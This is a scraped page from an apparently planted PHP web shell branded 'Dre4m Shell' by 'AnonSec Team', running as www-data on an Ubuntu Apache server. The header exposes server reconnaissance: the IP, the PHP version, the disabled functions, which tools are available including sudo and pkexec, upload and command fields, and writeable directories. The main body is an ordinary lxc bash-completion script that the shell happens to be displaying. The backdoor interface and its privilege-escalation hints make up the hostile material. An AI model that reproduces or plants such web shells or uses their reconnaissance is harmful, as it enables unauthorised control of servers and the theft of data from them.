Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.16.31.119
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/bash-completion/completions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/bash-completion/completions/lxc
_have lxc && {
  _lxd_complete()
  {
    _lxd_names()
    {
      local state=$1
      local keys=$2

      local cmd="lxc list --fast"
      [ -n "$state" ] && cmd="$cmd | grep -E '$state'"

      COMPREPLY=( $( compgen -W \
        "$( eval $cmd | grep -Ev '(\+--|NAME)' | awk '{print $2}' ) $keys" "$cur" )
      )
    }

    _lxd_images()
    {
      COMPREPLY=( $( compgen -W \
        "$( lxc image list | tail -n +4 | awk '{print $2}' | egrep -v '^(\||^$)' )" "$cur" )
      )
    }

    _lxd_remotes()
    {
      COMPREPLY=( $( compgen -W \
        "$( lxc remote list | tail -n +4 | awk '{print $2}' | egrep -v '^(\||^$)' )" "$cur" )
      )
    }

    _lxd_profiles()
    {
      COMPREPLY=( $( compgen -W "$( lxc profile list | tail -n +4 | awk '{print $2}' | egrep -v '^(\||^$)' )" "$cur" ) )
    }

    COMPREPLY=()
    # ignore special --foo args
    if [[ ${COMP_WORDS[COMP_CWORD]} == -* ]]; then
      return 0
    fi

    lxc_cmds="config copy delete exec file help image info init launch \
      list move profile publish remote restart restore snapshot start stop \
      version"

    global_keys="core.https_address core.https_allowed_origin \
      core.https_allowed_methods core.https_allowed_headers core.proxy_https \
      core.proxy_http core.proxy_ignore_host core.trust_password \
      storage.lvm_vg_name storage.lvm_thinpool_name storage.lvm_fstype \
      storage.lvm_volume_size storage.zfs_pool_name
      storage.zfs_remove_snapshots images.compression_algorithm \
      images.remot_cache_expiry images.auto_update_interval \
      images.auto_update_cached"

    container_keys="boot.autostart boot.autostart.delay boot.autostart.priority \
      limits.cpu limits.cpu.allowance limits.cpu.priority limits.disk.priority \
      limits.memory limits.memory.enforce limits.memory.swap \
      limits.memory.swap.priority limits.network.priority limits.processes \
      linux.kernel_modules raw.apparmor raw.lxc security.nesting \
      security.privileged volatile.apply_template volatile.base_image \
      volatile.last_state.idmap volatile.last_state.power user.network_mode \
      user.meta-data user.user-data user.vendor-data"

    if [ $COMP_CWORD -eq 1 ]; then
      COMPREPLY=( $(compgen -W "$lxc_cmds" -- ${COMP_WORDS[COMP_CWORD]}) )
      return 0
    fi

    local no_dashargs
    cur=${COMP_WORDS[COMP_CWORD]}

    no_dashargs=(${COMP_WORDS[@]// -*})
    pos=$((COMP_CWORD - (${#COMP_WORDS[@]} - ${#no_dashargs[@]})))
    if [ -z "$cur" ]; then
      pos=$(($pos + 1))
    fi

    case ${no_dashargs[1]} in
      "config")
        case $pos in
          2)
            COMPREPLY=( $(compgen -W "device edit get set show trust" -- $cur) )
            ;;
          3)
            case ${no_dashargs[2]} in
              "trust")
                COMPREPLY=( $(compgen -W "list add remove" -- $cur) )
                ;;
              "device")
                COMPREPLY=( $(compgen -W "add get set unset list show remove" -- $cur) )
                ;;
              "show"|"edit")
                _lxd_names
                ;;
              "get"|"set"|"unset")
                _lxd_names "" "$global_keys"
                ;;
            esac
            ;;
          4)
            case ${no_dashargs[2]} in
              "trust")
                _lxd_remotes
                ;;
              "device")
                _lxd_names
                ;;
              "get"|"set"|"unset")
                COMPREPLY=( $(compgen -W "$container_keys" -- $cur) )
                ;;
            esac
            ;;
        esac
        ;;
      "copy")
        if [ $pos -lt 4 ]; then
          _lxd_names
        fi
        ;;
      "delete")
        _lxd_names
        ;;
      "exec")
        _lxd_names "RUNNING"
        ;;
      "file")
        COMPREPLY=( $(compgen -W "pull push edit" -- $cur) )
        ;;
      "help")
        COMPREPLY=( $(compgen -W "$lxc_cmds" -- $cur) )
        ;;
      "image")
        COMPREPLY=( $(compgen -W "import copy delete edit export info list show alias" -- $cur) )
        ;;
      "info")
        _lxd_names
        ;;
      "init")
        _lxd_images
        ;;
      "launch")
        _lxd_images
        ;;
      "move")
        _lxd_names
        ;;
      "profile")
        case $pos in
          2)
            COMPREPLY=( $(compgen -W "list copy delete apply device edit get set show" -- $cur) )
            ;;
          3)
            case ${no_dashargs[2]} in
              "device")
                COMPREPLY=( $(compgen -W "add get set unset list show remove" -- $cur) )
                ;;
              *)
                _lxd_profiles
                ;;
            esac
            ;;
          4)
            case ${no_dashargs[2]} in
              "device")
                _lxd_profiles
                ;;
              *)
                COMPREPLY=( $(compgen -W "$container_keys" -- $cur) )
                ;;
            esac
            ;;
        esac
        ;;
      "publish")
        _lxd_names
        ;;
      "remote")
        COMPREPLY=( $(compgen -W \
          "add remove list rename set-url set-default get-default" -- $cur) )
        ;;
      "restart")
        _lxd_names
        ;;
      "restore")
        _lxd_names
        ;;
      "snapshot")
        _lxd_names
        ;;
      "start")
        _lxd_names "STOPPED|FROZEN"
        ;;
      "stop")
        _lxd_names "RUNNING"
        ;;
      *)
        ;;
    esac

    return 0
  }

  complete -o default -F _lxd_complete lxc
}

Anon7 - 2022
AnonSec Team